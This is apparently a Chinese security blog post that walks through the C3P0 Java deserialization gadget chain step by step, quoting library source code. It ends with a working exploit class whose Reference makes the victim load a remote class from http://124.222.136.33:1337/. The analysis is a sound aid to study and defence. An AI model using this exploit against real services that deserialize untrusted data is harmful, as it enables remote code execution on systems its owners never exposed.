目录
前言
C3P0介绍
回归本源——序列化的条件
利用链
利用链分析
入口——PoolBackedDataSourceBase#readObject
拨云见日——PoolBackedDataSourceBase#writeObject
综合分析
EXP
前言
这条链最让我眼前一亮的就是对Serializable接口的有无进行了一个玩，相较之前纯粹跟全继承Serializable接口的链子，思考又多了一个维度。(虽然不是关键)
C3P0介绍
pom依赖
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate，Spring等。
连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
回归本源——序列化的条件
求求师傅们别嫌我烦，让我再啰嗦几句QWQ
提问：
一个类的某个属性没有继承Serializable接口，这个类可以序列化吗？
回答：
在 Java 中，如果一个类的某个属性没有实现 Serializable 接口，但这个属性是 transient 的，那么这个类仍然可以被序列化。当对象被序列化时，transient 修饰的属性将会被忽略，不会被序列化到输出流中，而其他非 transient 的属性则会被正常序列化。
如果一个类的某个属性既不是 transient 的，也没有实现 Serializable 接口，那么在尝试对该类的实例对象进行序列化时，会导致编译错误或者在运行时抛出 NotSerializableException 异常。
因此，为了确保一个类的实例对象可以被成功序列化，通常建议满足以下条件：
- 类本身实现 Serializable 接口；
- 所有非 transient 的属性都实现 Serializable 接口，或者是基本数据类型（如 int、long 等）；
- 如果有某些属性不需要被序列化，可以将它们声明为 transient。
利用链
PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance利用链分析
入口——PoolBackedDataSourceBase#readObject
PoolBackedDataSourceBase中有个ConnectionPoolDataSource类型的私用属性
private ConnectionPoolDataSource connectionPoolDataSource; 注意到ConnectionPoolDataSource没有继承Serializable接口，也就无法被序列化
public interface ConnectionPoolDataSource extends CommonDataSource点到为止，再看PoolBackedDataSourceBase#readObject
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();
o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.extensions = (Map)o;
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}
我们发现一个奇怪的逻辑：
判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,若是则调用getobject后强转对象为ConnectionPoolDataSource
也就是在反序列化时进行了这样的转换：IndirectlySerialized -> ConnectionPoolDataSource
这么做的目的是什么呢？
抛开目的不谈，((IndirectlySerialized)o).getObject()我们也不知道其具体实现是什么
public interface IndirectlySerialized extends Serializable {
Object getObject() throws ClassNotFoundException, IOException;
}反序列化分析到这一步似乎已经瓶颈，我们下面再来看序列化的过程。
拨云见日——PoolBackedDataSourceBase#writeObject
来看PoolBackedDataSourceBase#writeObject
private void writeObject(ObjectOutputStream oos) throws IOException {
oos.writeShort(1);
ReferenceIndirector indirector;
try {
SerializableUtils.toByteArray(this.connectionPoolDataSource);
oos.writeObject(this.connectionPoolDataSource);
} catch (NotSerializableException var9) {
MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);
try {
indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
} 这段逻辑是，首先尝试序列化当前对象的connectionPoolDataSource属性，若抛出NotSerializableException异常，即不能序列化，则catch这个异常，并用ReferenceIndirector.indirectForm处理后再序列化。
因为ConnectionPoolDataSource没有继承Serializable接口(上面提到过)，所以我们会进到异常的逻辑中
跟进new ReferenceIndirector().indirectForm
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}调用了connectionPoolDataSource属性的getReference()，返回Reference后作为参数封装进ReferenceSerialized对象，而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口，因此ReferenceSerialized可被序列化。
private static class ReferenceSerialized implements IndirectlySerialized
public interface IndirectlySerialized extends SerializableOK到这里为止，我们知道了connectionPoolDataSource属性的序列化，最后写入的是ReferenceSerialized
也就是在序列化时进行了这样的转换：IndirectlySerialized -> ConnectionPoolDataSource
太好了，我逐渐理解了一切！
综合分析
上面所讲的序列化的过程其实就是为了照顾到不能直接序列化的ConnectionPoolDataSource，先提供一个可序列化的ReferenceSerialized(IndirectlySerialized)进行中转。
而反序列化的过程就是把中转的ReferenceSerialized(IndirectlySerialized)再度还原为PoolBackedDataSourceBase类的属性ConnectionPoolDataSource
好的，我们回过头再来看PoolBackedDataSourceBase#readObject中的这段代码
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;((IndirectlySerialized)o).getObject()其实就是调用ReferenceIndirector#getObject
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}
Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}
return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
}跟进ReferenceableUtils.referenceToObject()
顾名思义，这个方法用于将引用（Reference）转换为对象
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}
Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}
Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
}Reference是之前序列化时候可控的(序列化时通过调用connectionPoolDataSource属性的getReference方法)，我们只要传一个覆写了getReference方法的connectionPoolDataSource给PoolBackedDataSourceBase参与序列化即可。
之后显然可以通过URLClassLoader加载并实例化远程类
EXP
package com.c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0 {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field cp = clazz.getDeclaredField("connectionPoolDataSource");
cp.setAccessible(true);
cp.set(base, new evil());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(base);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
public static class evil implements ConnectionPoolDataSource, Referenceable{
public Reference getReference() throws NamingException {
return new Reference("calc", "calc", "http://124.222.136.33:1337/");
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
}
